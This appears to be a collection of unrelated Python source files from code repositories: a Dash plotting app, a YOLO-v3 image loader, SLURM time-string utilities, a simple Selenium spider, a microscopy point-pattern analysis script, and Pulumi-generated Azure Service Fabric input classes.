**selection_bounds)) return fig value = 'temp' app = DjangoDash(name=dash_name, id='target_id') cwd = os.getcwd() rel_path = General.get_BasePath() GenFig = Gen_fig() fig = { 'data': [{ 'y': [1] }], 'layout': { 'height': 800 } } app.layout = html.Div(children=[ html.Div([ html.Div( dcc.Graph(id='g1', config={'displayModeBar': True}), className='four columns', style={'width': '33%', 'display': 'inline-block'}, ), html.Div( dcc.Graph(id='g2', config={'displayModeBar': True}), className='four columns', style={'width': '33%', 'display': 'inline-block'}, ), html.Div( dcc.Graph(id='g3', config={'displayModeBar': True}), className='four columns', style={'width': '33%', 'display': 'inline-block'}, ) ], style={"display": "block"}, className='row'), dcc.Input(id='target_id', type='hidden', value='1'), html.Button('Load data', id='Load_Data'), dcc.Loading( id="loading", children=[html.Div([html.Div(id="loading-output")])], type="default", ), ]) @app.callback( Output("loading-output", "children"), [Input('Load_Data', 'n_clicks'), Input('target_id', 'value'),]) def update_output(n_clicks, target_id, *args,**kwargs): data_was_loaded, return_str = GenFig.load_data(target_id) if data_was_loaded: return_str += '\n Select the desired plot at the dropdown.' GenFig.Plot_3() return return_str # this callback defines 3 figures # as a function of the intersection of their 3 selections @app.callback( [Output('g1', 'figure'), Output('g2', 'figure'), Output('g3', 'figure')], [Input('target_id', 'value'), Input('g1', 'selectedData'), Input('g2', 'selectedData'), Input('g3', 'selectedData')] ) def callback(target_id, selection1, selection2, selection3): no_data = True while no_data: try: GenFig.cal_dat no_data = False except: time.sleep(1) selectedpoints = GenFig.cal_dat.index for selected_data in [selection1, selection2, selection3]: if selected_data and selected_data['points']: selectedpoints = np.intersect1d(selectedpoints, [p['customdata'] for p in selected_data['points']]) return [get_figure(GenFig.cal_dat, "times", "thickness", selectedpoints, selection1), get_figure(GenFig.cal_dat, "times", "humidities", selectedpoints, selection2), get_figure(GenFig.cal_dat, "humidities", "thickness", selectedpoints, selection3)]
2.265625
2
img_loader.py
hujc7/yolo-v3
0
12764306
import os import random import torch # from torch.autograd import Variable from torchvision import transforms as T from PIL import Image, ImageDraw, ImageFont class IMGProcess(object): def __init__(self, source, use_cuda=True, img_path="imgs", batch_size=100, img_size=416, confidence=0.5, rebuild=True, result="result"): self.colors = source["pallete"] self.num_classes = source["num_classes"] self.classes = source["classes"] self.confidence = confidence self.rebuild = rebuild self.result = result self.use_cuda = use_cuda self.img_size = img_size self.font = ImageFont.truetype("arial.ttf", 15) self.imgs = [os.path.join(img_path, img) for img in os.listdir(img_path)] self.sents_size = len(self.imgs) self.bsz = min(batch_size, len(self.imgs)) self._step = 0 self._stop_step = self.sents_size // self.bsz def _encode(self, x): # convert the image to network input size and a tensor encode = T.Compose([T.Resize((self.img_size, self.img_size)), T.ToTensor()]) return encode(x) def img2Var(self, imgs): self.imgs = imgs = [Image.open(img).convert('RGB') for img in imgs] imgs_dim = torch.FloatTensor([img.size for img in imgs]).repeat(1, 2) with torch.no_grad(): tensors = [self._encode(img).unsqueeze(0) for img in imgs] vs = torch.cat(tensors, 0) if self.use_cuda: vs = vs.cuda() return vs, imgs_dim def predict(self, prediction, nms_conf=0.4): """ prediction: 0:3 - x, y, h, w 4 - confidence 5: - class score """ def iou(box1, box2): x1, y1 = box1[:, 0], box1[:, 1] b1_w, b1_h = box1[:, 2] - x1 + .1, box1[:, 3] - y1 + .1 x2, y2, = box2[:, 0], box2[:, 1] b2_w, b2_h = box2[:, 2] - x2 + .1, box2[:, 3] - y2 + .1 end_x = torch.min(x1 + b1_w, x2 + b2_w) start_x = torch.max(x1, x2) end_y = torch.min(y1 + b1_h, y2 + b2_h) start_y = torch.max(y1, y2) a = (end_x - start_x) * (end_y - start_y) return a / (b1_w * b1_h + b2_w * b2_h - a) conf_mask = (prediction[:, :, 4] > self.confidence).float().unsqueeze(2) prediction = prediction * conf_mask # create a tensor the same size as prediction box_corner = prediction.new(*prediction.size()) box_corner[:, :, 0] = (prediction[:, :, 0] - prediction[:, :, 2] / 2) box_corner[:, :, 1] = (prediction[:, :, 1] - prediction[:, :, 3] / 2) box_corner[:, :, 2] = (prediction[:, :, 0] + prediction[:, :, 2] / 2) box_corner[:, :, 3] = (prediction[:, :, 1] + prediction[:, :, 3] / 2) prediction[:, :, :4] = box_corner[:, :, :4] outputs = [] for index in range(prediction.size(0)): image_pred = prediction[index] # [10647, 85] max_score, max_index = torch.max( image_pred[:, 5:], 1, keepdim=True) image_pred = torch.cat( (image_pred[:, :5], max_score, max_index.float()), 1) # [10647, 7] non_zero_ind = (torch.nonzero(image_pred[:, 4])).view(-1) if non_zero_ind.size(0) == 0: continue image_pred_ = image_pred[non_zero_ind, :] img_classes = torch.unique(image_pred_[:, -1]) objects, img_preds = [], [] name = self.this_img_names[index].split("/")[-1] for c in img_classes: c_mask = image_pred_ * \ (image_pred_[:, -1] == c).float().unsqueeze(1) class_mask_ind = torch.nonzero(c_mask[:, -2]).squeeze() image_pred_class = image_pred_[class_mask_ind].view(-1, 7) _, conf_sort_index = torch.sort( image_pred_class[:, 4], descending=True) image_pred_class = image_pred_class[conf_sort_index] for i in range(image_pred_class.size(0) - 1): try: ious = iou(image_pred_class[i].unsqueeze( 0), image_pred_class[i + 1:]) except IndexError: break iou_mask = (ious < nms_conf).float().unsqueeze(1) image_pred_class[i + 1:] *= iou_mask non_zero_ind = torch.nonzero( image_pred_class[:, 4]).squeeze() image_pred_class = image_pred_class[non_zero_ind].view( -1, 7) img_preds.append(image_pred_class) objects += [self.classes[int(x[-1])] for x in image_pred_class] outputs.append((name, objects)) img_preds = torch.cat(img_preds, dim=0) if self.rebuild: self.tensor2img(img_preds, index, name) return outputs def tensor2img(self, tensor, index, name): imgs_dim = self.imgs_dim[index] / self.img_size img = self.imgs[index] draw = ImageDraw.Draw(img) # print(imgs_dim) # print(tensor) # if tensor.is_cuda(): # tensor.to_cpu() tensor[:, :4] = tensor.cpu()[:, :4].clamp_(0, self.img_size) * imgs_dim for t in tensor: s_x, s_y, e_x, e_y = list(map(int, t[:4])) label = self.classes[int(t[-1])] color = random.choice(self.colors) draw.rectangle([s_x, s_y, e_x, e_y], outline=color) draw.text([s_x, s_y], label, fill=color, font=self.font) del draw img.save(os.path.join(self.result, "res_{}".format(name))) def __iter__(self): return self def __next__(self): if self._step == self._stop_step: self._step = 0 raise StopIteration() _s = self._step * self.bsz self._step += 1 self.this_img_names = self.imgs[_s:_s + self.bsz] vs, self.imgs_dim = self.img2Var(self.this_img_names) return vs
2.359375
2
GooseSLURM/duration.py
tdegeus/slurm-epfl
0
12764307
import re def asSeconds(data, default=None): r""" Convert string to seconds. The following input is accepted: * A humanly readable time (e.g. "1d"). * A SLURM time string (e.g. "1-00:00:00"). * A time string (e.g. "24:00:00"). * ``int`` or ``float``: interpreted as seconds. :arguments: **data** (``<str>`` | ``<float>`` | ``<int>``) The input string (number are equally accepted; they are directly interpreted as seconds). :options: **default** ([``None``] | ``<int>``) Value to return if the conversion fails. :returns: ``<int>`` Number of seconds as integer (or default value if the conversion fails). """ # convert int -> int (implicitly assume that the input is in seconds) if isinstance(data, int): return data # convert float -> float (implicitly assume that the input is in seconds) if isinstance(data, float): return int(data) # convert SLURM time string (e.g. "1-00:00:00") if re.match(r"^[0-9]*\-[0-9]*\:[0-9]*\:[0-9]*$", data): # - initialize number of days, hours, minutes, seconds t = [0, 0, 0, 0] # - split days if len(data.split("-")) > 1: t[0], data = data.split("-") # - split hours:minutes:seconds (all optional) data = data.split(":") # - fill from seconds -> minutes (if present) -> hours (if present) for i in range(len(data)): t[-1 * (i + 1)] = data[-1 * (i + 1)] # - return seconds return int(t[0]) * 24 * 60 * 60 + int(t[1]) * 60 * 60 + int(t[2]) * 60 + int(t[3]) # convert time string in hours (e.g. "24:00:00") if re.match(r"^[0-9]*\:[0-9]*\:[0-9]*$", data): # - initialize number of hours, minutes, seconds t = [0, 0, 0] # - split hours:minutes:seconds (all optional) data = data.split(":") # - fill from seconds -> minutes (if present) -> hours (if present) for i in range(len(data)): t[-1 * i] = data[-1 * i] # - return seconds return int(t[0]) * 60 * 60 + int(t[1]) * 60 + int(t[2]) # convert time string in minutes (e.g. "12:34") if re.match(r"^[0-9]*\:[0-9]*$", data): # - initialize number of minutes, seconds t = [0, 0] # - split hours:minutes:seconds (all optional) data = data.split(":") # - fill from seconds -> minutes (if present) -> hours (if present) for i in range(len(data)): t[-1 * i] = data[-1 * i] # - return seconds return int(t[0]) * 60 + int(t[1]) # convert humanly readable time (e.g. "1d") if re.match(r"^[0-9]*\.?[0-9]*[a-zA-Z]$", data): if data[-1] == "d": return int(float(data[:-1]) * float(60 * 60 * 24)) elif data[-1] == "h": return int(float(data[:-1]) * float(60 * 60)) elif data[-1] == "m": return int(float(data[:-1]) * float(60)) elif data[-1] == "s": return int(float(data[:-1]) * float(1)) # one last try (implicitly assume that the input is in seconds) try: return int(data) except BaseException: pass # all conversions failed: return default value return default def asUnit(data, unit, precision): r""" Convert to rich-string with a certain unit and precision. The output is e.g. ``"1.1d"``. :arguments: **data** (``<int>`` | ``<float>``) Numerical value (e.g. ``1.1``). **unit** (``<str>``) The unit (e.g. ``"d"``). **precision** (``<int>``) The precision with which to print (e.g. ``1``). :returns: ``<str>`` The rich-string. """ if precision: return f"{{0:.{precision:d}f}}{{1:s}}".format(data, unit) if abs(round(data)) < 10.0: return f"{data:.1f}{unit:s}" else: return f"{round(data):.0f}{unit:s}" def asHuman(data, precision=None): r""" Convert to string that has the biggest possible unit. For example: ``100`` (seconds) -> ``"1.7m"``. :arguments: **data** (``<str>`` | ``<float>`` | ``<int>``) A time, see ``GooseSLURM.duration.asSeconds`` for conversion. **precision** (``<int>``) The precision with which to print. By default a precision of one is used for ``0 < value < 10``, while a precision of zero is used otherwise. :returns: ``<str>`` The rich-string. """ data = asSeconds(data) if data is None: return "" units = ( (24 * 60 * 60, "d"), (60 * 60, "h"), (60, "m"), (1, "s"), ) for val, unit in units: if abs(data) >= val: return asUnit(float(data) / float(val), unit, precision) return asUnit(float(data), "s", precision) def asSlurm(data): r""" Convert to a SLURM time string. For example ``"1d"`` -> ``"1-00:00:00"``. :arguments: **data** (``<str>`` | ``<float>`` | ``<int>``) A time, see ``GooseSLURM.duration.asSeconds`` for conversion. :returns: ``<str>`` The rich-string. """ data = asSeconds(data) if data is None: return "" s = int(data % 60) data = (data - s) / 60 m = int(data % 60) data = (data - m) / 60 h = int(data % 24) data = (data - h) / 24 d = int(data) return "%d-%02d:%02d:%02d" % (d, h, m, s)
3.78125
4
main.py
richard-ma/spider-base-selenium
0
12764308
#!/usr/bin/env python import spider_base_selenium class MySpider(spider_base_selenium.Spider): def __init__(self): self.urls = [ 'http://www.baidu.com', 'http://www.bing.com', 'http://www.weibo.com', ] def parse(self, response): print(response.get_response().title) if __name__ == '__main__': my_spider = MySpider() engine = spider_base_selenium.Engine() engine.run(my_spider)
2.828125
3
prototype.py
Jhko725/ProteinStructureReconstruction.jl
0
12764309
<reponame>Jhko725/ProteinStructureReconstruction.jl<gh_stars>0 #%% import numpy as np import matplotlib.pyplot as plt %matplotlib inline from skimage.io import imread from skimage.color import rgb2gray images = list(map(lambda x: np.float32(rgb2gray(imread(x))), ['./Data/SR2_desmin_image.jpg', './Data/SR3_actin_image.jpg'])) #%% fig, ax = plt.subplots(1, 1, figsize = (7, 5)) ax.hist(images[0].flatten(), bins = 40) ax.set_yscale('log', base = 10) # %% fig, ax = plt.subplots(1, 1, figsize = (7, 5)) ax.imshow(np.stack([images[0][-2987:, -3004:], images[1], np.zeros_like(images[1])], axis = -1)) # %% fig, ax = plt.subplots(1, 1, figsize = (7, 5)) points = images[0]>0 ax.imshow(points[2900:3000, 2900:3000]) # %% def convert_to_pointcloud(image): xx, yy = np.meshgrid(*[np.arange(n) for n in image.shape], indexing = 'ij') inds = image > 0 return np.stack((xx[inds], yy[inds]), axis = -1) # %% # %% from functools import reduce from astropy.stats import RipleysKEstimator img = images[0][2900:3000, 2900:3000] coords = convert_to_pointcloud(img) Kest = RipleysKEstimator(area = reduce(lambda x, y: x*y, img.shape)) r = np.linspace(0, 100, 100) result = Kest(data=coords, radii=r, mode='none') # %% result # %% fig, ax = plt.subplots(1, 1, figsize = (7, 5)) ax.plot(r, result) # %% # %% #import plotly.io as pio #pio.renderers.default = "vscode" import plotly.graph_objects as go fig = go.Figure(data = go.Scattergl(x = images[0][-2987:, -3004:].flatten(), y = images[1].flatten())) fig.show() # %% np.max(coords) # %% images[1].shape # %% images[0][-2987:, -3004:].shape # %% # %%
2.03125
2
sdk/python/pulumi_azure_native/servicefabric/v20200101preview/_inputs.py
pulumi-bot/pulumi-azure-native
31
12764310
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables from ._enums import * __all__ = [ 'AzureActiveDirectoryArgs', 'ClientCertificateArgs', 'EndpointRangeDescriptionArgs', 'LoadBalancingRuleArgs', 'SettingsParameterDescriptionArgs', 'SettingsSectionDescriptionArgs', 'SkuArgs', 'SubResourceArgs', 'VMSSExtensionArgs', 'VaultCertificateArgs', 'VaultSecretGroupArgs', ] @pulumi.input_type class AzureActiveDirectoryArgs: def __init__(__self__, *, client_application: Optional[pulumi.Input[str]] = None, cluster_application: Optional[pulumi.Input[str]] = None, tenant_id: Optional[pulumi.Input[str]] = None): """ The settings to enable AAD authentication on the cluster. :param pulumi.Input[str] client_application: Azure active directory client application id. :param pulumi.Input[str] cluster_application: Azure active directory cluster application id. :param pulumi.Input[str] tenant_id: Azure active directory tenant id. """ if client_application is not None: pulumi.set(__self__, "client_application", client_application) if cluster_application is not None: pulumi.set(__self__, "cluster_application", cluster_application) if tenant_id is not None: pulumi.set(__self__, "tenant_id", tenant_id) @property @pulumi.getter(name="clientApplication") def client_application(self) -> Optional[pulumi.Input[str]]: """ Azure active directory client application id. """ return pulumi.get(self, "client_application") @client_application.setter def client_application(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_application", value) @property @pulumi.getter(name="clusterApplication") def cluster_application(self) -> Optional[pulumi.Input[str]]: """ Azure active directory cluster application id. """ return pulumi.get(self, "cluster_application") @cluster_application.setter def cluster_application(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cluster_application", value) @property @pulumi.getter(name="tenantId") def tenant_id(self) -> Optional[pulumi.Input[str]]: """ Azure active directory tenant id. """ return pulumi.get(self, "tenant_id") @tenant_id.setter def tenant_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tenant_id", value) @pulumi.input_type class ClientCertificateArgs: def __init__(__self__, *, is_admin: pulumi.Input[bool], common_name: Optional[pulumi.Input[str]] = None, issuer_thumbprint: Optional[pulumi.Input[str]] = None, thumbprint: Optional[pulumi.Input[str]] = None): """ Client Certificate definition. :param pulumi.Input[bool] is_admin: Whether the certificate is admin or not. :param pulumi.Input[str] common_name: Certificate Common name. :param pulumi.Input[str] issuer_thumbprint: Issuer thumbprint for the certificate. Only used together with CommonName. :param pulumi.Input[str] thumbprint: Certificate Thumbprint. """ pulumi.set(__self__, "is_admin", is_admin) if common_name is not None: pulumi.set(__self__, "common_name", common_name) if issuer_thumbprint is not None: pulumi.set(__self__, "issuer_thumbprint", issuer_thumbprint) if thumbprint is not None: pulumi.set(__self__, "thumbprint", thumbprint) @property @pulumi.getter(name="isAdmin") def is_admin(self) -> pulumi.Input[bool]: """ Whether the certificate is admin or not. """ return pulumi.get(self, "is_admin") @is_admin.setter def is_admin(self, value: pulumi.Input[bool]): pulumi.set(self, "is_admin", value) @property @pulumi.getter(name="commonName") def common_name(self) -> Optional[pulumi.Input[str]]: """ Certificate Common name. """ return pulumi.get(self, "common_name") @common_name.setter def common_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "common_name", value) @property @pulumi.getter(name="issuerThumbprint") def issuer_thumbprint(self) -> Optional[pulumi.Input[str]]: """ Issuer thumbprint for the certificate. Only used together with CommonName. """ return pulumi.get(self, "issuer_thumbprint") @issuer_thumbprint.setter def issuer_thumbprint(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "issuer_thumbprint", value) @property @pulumi.getter def thumbprint(self) -> Optional[pulumi.Input[str]]: """ Certificate Thumbprint. """ return pulumi.get(self, "thumbprint") @thumbprint.setter def thumbprint(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "thumbprint", value) @pulumi.input_type class EndpointRangeDescriptionArgs: def __init__(__self__, *, end_port: pulumi.Input[int], start_port: pulumi.Input[int]): """ Port range details :param pulumi.Input[int] end_port: End port of a range of ports :param pulumi.Input[int] start_port: Starting port of a range of ports """ pulumi.set(__self__, "end_port", end_port) pulumi.set(__self__, "start_port", start_port) @property @pulumi.getter(name="endPort") def end_port(self) -> pulumi.Input[int]: """ End port of a range of ports """ return pulumi.get(self, "end_port") @end_port.setter def end_port(self, value: pulumi.Input[int]): pulumi.set(self, "end_port", value) @property @pulumi.getter(name="startPort") def start_port(self) -> pulumi.Input[int]: """ Starting port of a range of ports """ return pulumi.get(self, "start_port") @start_port.setter def start_port(self, value: pulumi.Input[int]): pulumi.set(self, "start_port", value) @pulumi.input_type class LoadBalancingRuleArgs: def __init__(__self__, *, backend_port: pulumi.Input[int], frontend_port: pulumi.Input[int], probe_protocol: pulumi.Input[Union[str, 'ProbeProtocol']], protocol: pulumi.Input[Union[str, 'Protocol']], probe_request_path: Optional[pulumi.Input[str]] = None): """ Describes a load balancing rule. :param pulumi.Input[int] backend_port: The port used for internal connections on the endpoint. Acceptable values are between 1 and 65535. :param pulumi.Input[int] frontend_port: The port for the external endpoint. Port numbers for each rule must be unique within the Load Balancer. Acceptable values are between 1 and 65534. :param pulumi.Input[Union[str, 'ProbeProtocol']] probe_protocol: the reference to the load balancer probe used by the load balancing rule. :param pulumi.Input[Union[str, 'Protocol']] protocol: The reference to the transport protocol used by the load balancing rule. :param pulumi.Input[str] probe_request_path: The probe request path. Only supported for HTTP/HTTPS probes. """ pulumi.set(__self__, "backend_port", backend_port) pulumi.set(__self__, "frontend_port", frontend_port) pulumi.set(__self__, "probe_protocol", probe_protocol) pulumi.set(__self__, "protocol", protocol) if probe_request_path is not None: pulumi.set(__self__, "probe_request_path", probe_request_path) @property @pulumi.getter(name="backendPort") def backend_port(self) -> pulumi.Input[int]: """ The port used for internal connections on the endpoint. Acceptable values are between 1 and 65535. """ return pulumi.get(self, "backend_port") @backend_port.setter def backend_port(self, value: pulumi.Input[int]): pulumi.set(self, "backend_port", value) @property @pulumi.getter(name="frontendPort") def frontend_port(self) -> pulumi.Input[int]: """ The port for the external endpoint. Port numbers for each rule must be unique within the Load Balancer. Acceptable values are between 1 and 65534. """ return pulumi.get(self, "frontend_port") @frontend_port.setter def frontend_port(self, value: pulumi.Input[int]): pulumi.set(self, "frontend_port", value) @property @pulumi.getter(name="probeProtocol") def probe_protocol(self) -> pulumi.Input[Union[str, 'ProbeProtocol']]: """ the reference to the load balancer probe used by the load balancing rule. """ return pulumi.get(self, "probe_protocol") @probe_protocol.setter def probe_protocol(self, value: pulumi.Input[Union[str, 'ProbeProtocol']]): pulumi.set(self, "probe_protocol", value) @property @pulumi.getter def protocol(self) -> pulumi.Input[Union[str, 'Protocol']]: """ The reference to the transport protocol used by the load balancing rule. """ return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: pulumi.Input[Union[str, 'Protocol']]): pulumi.set(self, "protocol", value) @property @pulumi.getter(name="probeRequestPath") def probe_request_path(self) -> Optional[pulumi.Input[str]]: """ The probe request path. Only supported for HTTP/HTTPS probes. """ return pulumi.get(self, "probe_request_path") @probe_request_path.setter def probe_request_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "probe_request_path", value) @pulumi.input_type class SettingsParameterDescriptionArgs: def __init__(__self__, *, name: pulumi.Input[str], value: pulumi.Input[str]): """ Describes a parameter in fabric settings of the cluster. :param pulumi.Input[str] name: The parameter name of fabric setting. :param pulumi.Input[str] value: The parameter value of fabric setting. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "value", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The parameter name of fabric setting. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ The parameter value of fabric setting. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class SettingsSectionDescriptionArgs: def __init__(__self__, *, name: pulumi.Input[str], parameters: pulumi.Input[Sequence[pulumi.Input['SettingsParameterDescriptionArgs']]]): """ Describes a section in the fabric settings of the cluster. :param pulumi.Input[str] name: The section name of the fabric settings. :param pulumi.Input[Sequence[pulumi.Input['SettingsParameterDescriptionArgs']]] parameters: The collection of parameters in the section. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "parameters", parameters) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The section name of the fabric settings. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def parameters(self) -> pulumi.Input[Sequence[pulumi.Input['SettingsParameterDescriptionArgs']]]: """ The collection of parameters in the section. """ return pulumi.get(self, "parameters") @parameters.setter def parameters(self, value: pulumi.Input[Sequence[pulumi.Input['SettingsParameterDescriptionArgs']]]): pulumi.set(self, "parameters", value) @pulumi.input_type class SkuArgs: def __init__(__self__, *, name: pulumi.Input[str]): """ Sku definition :param pulumi.Input[str] name: Sku Name. """ pulumi.set(__self__, "name", name) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ Sku Name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @pulumi.input_type class SubResourceArgs: def __init__(__self__, *, id: Optional[pulumi.Input[str]] = None): """ Azure resource identifier. :param pulumi.Input[str] id: Azure resource identifier. """ if id is not None: pulumi.set(__self__, "id", id) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ Azure resource identifier. """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @pulumi.input_type class VMSSExtensionArgs: def __init__(__self__, *, name: pulumi.Input[str], publisher: pulumi.Input[str], type: pulumi.Input[str], type_handler_version: pulumi.Input[str], auto_upgrade_minor_version: Optional[pulumi.Input[bool]] = None, force_update_tag: Optional[pulumi.Input[str]] = None, protected_settings: Optional[Any] = None, provision_after_extensions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, settings: Optional[Any] = None): """ Specifies set of extensions that should be installed onto the virtual machines. :param pulumi.Input[str] name: The name of the extension. :param pulumi.Input[str] publisher: The name of the extension handler publisher. :param pulumi.Input[str] type: Specifies the type of the extension; an example is "CustomScriptExtension". :param pulumi.Input[str] type_handler_version: Specifies the version of the script handler. :param pulumi.Input[bool] auto_upgrade_minor_version: Indicates whether the extension should use a newer minor version if one is available at deployment time. Once deployed, however, the extension will not upgrade minor versions unless redeployed, even with this property set to true. :param pulumi.Input[str] force_update_tag: If a value is provided and is different from the previous value, the extension handler will be forced to update even if the extension configuration has not changed. :param Any protected_settings: The extension can contain either protectedSettings or protectedSettingsFromKeyVault or no protected settings at all. :param pulumi.Input[Sequence[pulumi.Input[str]]] provision_after_extensions: Collection of extension names after which this extension needs to be provisioned. :param Any settings: Json formatted public settings for the extension. """ pulumi.set(__self__, "name", name) pulumi.set(__self__, "publisher", publisher) pulumi.set(__self__, "type", type) pulumi.set(__self__, "type_handler_version", type_handler_version) if auto_upgrade_minor_version is not None: pulumi.set(__self__, "auto_upgrade_minor_version", auto_upgrade_minor_version) if force_update_tag is not None: pulumi.set(__self__, "force_update_tag", force_update_tag) if protected_settings is not None: pulumi.set(__self__, "protected_settings", protected_settings) if provision_after_extensions is not None: pulumi.set(__self__, "provision_after_extensions", provision_after_extensions) if settings is not None: pulumi.set(__self__, "settings", settings) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The name of the extension. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def publisher(self) -> pulumi.Input[str]: """ The name of the extension handler publisher. """ return pulumi.get(self, "publisher") @publisher.setter def publisher(self, value: pulumi.Input[str]): pulumi.set(self, "publisher", value) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ Specifies the type of the extension; an example is "CustomScriptExtension". """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @property @pulumi.getter(name="typeHandlerVersion") def type_handler_version(self) -> pulumi.Input[str]: """ Specifies the version of the script handler. """ return pulumi.get(self, "type_handler_version") @type_handler_version.setter def type_handler_version(self, value: pulumi.Input[str]): pulumi.set(self, "type_handler_version", value) @property @pulumi.getter(name="autoUpgradeMinorVersion") def auto_upgrade_minor_version(self) -> Optional[pulumi.Input[bool]]: """ Indicates whether the extension should use a newer minor version if one is available at deployment time. Once deployed, however, the extension will not upgrade minor versions unless redeployed, even with this property set to true. """ return pulumi.get(self, "auto_upgrade_minor_version") @auto_upgrade_minor_version.setter def auto_upgrade_minor_version(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "auto_upgrade_minor_version", value) @property @pulumi.getter(name="forceUpdateTag") def force_update_tag(self) -> Optional[pulumi.Input[str]]: """ If a value is provided and is different from the previous value, the extension handler will be forced to update even if the extension configuration has not changed. """ return pulumi.get(self, "force_update_tag") @force_update_tag.setter def force_update_tag(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "force_update_tag", value) @property @pulumi.getter(name="protectedSettings") def protected_settings(self) -> Optional[Any]: """ The extension can contain either protectedSettings or protectedSettingsFromKeyVault or no protected settings at all. """ return pulumi.get(self, "protected_settings") @protected_settings.setter def protected_settings(self, value: Optional[Any]): pulumi.set(self, "protected_settings", value) @property @pulumi.getter(name="provisionAfterExtensions") def provision_after_extensions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Collection of extension names after which this extension needs to be provisioned. """ return pulumi.get(self, "provision_after_extensions") @provision_after_extensions.setter def provision_after_extensions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "provision_after_extensions", value) @property @pulumi.getter def settings(self) -> Optional[Any]: """ Json formatted public settings for the extension. """ return pulumi.get(self, "settings") @settings.setter def settings(self, value: Optional[Any]): pulumi.set(self, "settings", value) @pulumi.input_type class VaultCertificateArgs: def __init__(__self__, *, certificate_store: pulumi.Input[str], certificate_url: pulumi.Input[str]): """ Describes a single certificate reference in a Key Vault, and where the certificate should reside on the VM. :param pulumi.Input[str] certificate_store: For Windows VMs, specifies the certificate store on the Virtual Machine to which the certificate should be added. The specified certificate store is implicitly in the LocalMachine account. <br><br>For Linux VMs, the certificate file is placed under the /var/lib/waagent directory, with the file name <UppercaseThumbprint>.crt for the X509 certificate file and <UppercaseThumbprint>.prv for private key. Both of these files are .pem formatted. :param pulumi.Input[str] certificate_url: This is the URL of a certificate that has been uploaded to Key Vault as a secret. For adding a secret to the Key Vault, see [Add a key or secret to the key vault](https://docs.microsoft.com/azure/key-vault/key-vault-get-started/#add). In this case, your certificate needs to be It is the Base64 encoding of the following JSON Object which is encoded in UTF-8: <br><br> {<br> "data":"<Base64-encoded-certificate>",<br> "dataType":"pfx",<br> "password":"<<PASSWORD>>"<br>} """ pulumi.set(__self__, "certificate_store", certificate_store) pulumi.set(__self__, "certificate_url", certificate_url) @property @pulumi.getter(name="certificateStore") def certificate_store(self) -> pulumi.Input[str]: """ For Windows VMs, specifies the certificate store on the Virtual Machine to which the certificate should be added. The specified certificate store is implicitly in the LocalMachine account. <br><br>For Linux VMs, the certificate file is placed under the /var/lib/waagent directory, with the file name <UppercaseThumbprint>.crt for the X509 certificate file and <UppercaseThumbprint>.prv for private key. Both of these files are .pem formatted. """ return pulumi.get(self, "certificate_store") @certificate_store.setter def certificate_store(self, value: pulumi.Input[str]): pulumi.set(self, "certificate_store", value) @property @pulumi.getter(name="certificateUrl") def certificate_url(self) -> pulumi.Input[str]: """ This is the URL of a certificate that has been uploaded to Key Vault as a secret. For adding a secret to the Key Vault, see [Add a key or secret to the key vault](https://docs.microsoft.com/azure/key-vault/key-vault-get-started/#add). In this case, your certificate needs to be It is the Base64 encoding of the following JSON Object which is encoded in UTF-8: <br><br> {<br> "data":"<Base64-encoded-certificate>",<br> "dataType":"pfx",<br> "password":"<<PASSWORD>>"<br>} """ return pulumi.get(self, "certificate_url") @certificate_url.setter def certificate_url(self, value: pulumi.Input[str]): pulumi.set(self, "certificate_url", value) @pulumi.input_type class VaultSecretGroupArgs: def __init__(__self__, *, source_vault: pulumi.Input['SubResourceArgs'], vault_certificates: pulumi.Input[Sequence[pulumi.Input['VaultCertificateArgs']]]): """ Specifies set of certificates that should be installed onto the virtual machines. :param pulumi.Input['SubResourceArgs'] source_vault: The relative URL of the Key Vault containing all of the certificates in VaultCertificates. :param pulumi.Input[Sequence[pulumi.Input['VaultCertificateArgs']]] vault_certificates: The list of key vault references in SourceVault which contain certificates. """ pulumi.set(__self__, "source_vault", source_vault) pulumi.set(__self__, "vault_certificates", vault_certificates) @property @pulumi.getter(name="sourceVault") def source_vault(self) -> pulumi.Input['SubResourceArgs']: """ The relative URL of the Key Vault containing all of the certificates in VaultCertificates. """ return pulumi.get(self, "source_vault") @source_vault.setter def source_vault(self, value: pulumi.Input['SubResourceArgs']): pulumi.set(self, "source_vault", value) @property @pulumi.getter(name="vaultCertificates") def vault_certificates(self) -> pulumi.Input[Sequence[pulumi.Input['VaultCertificateArgs']]]: """ The list of key vault references in SourceVault which contain certificates. """ return pulumi.get(self, "vault_certificates") 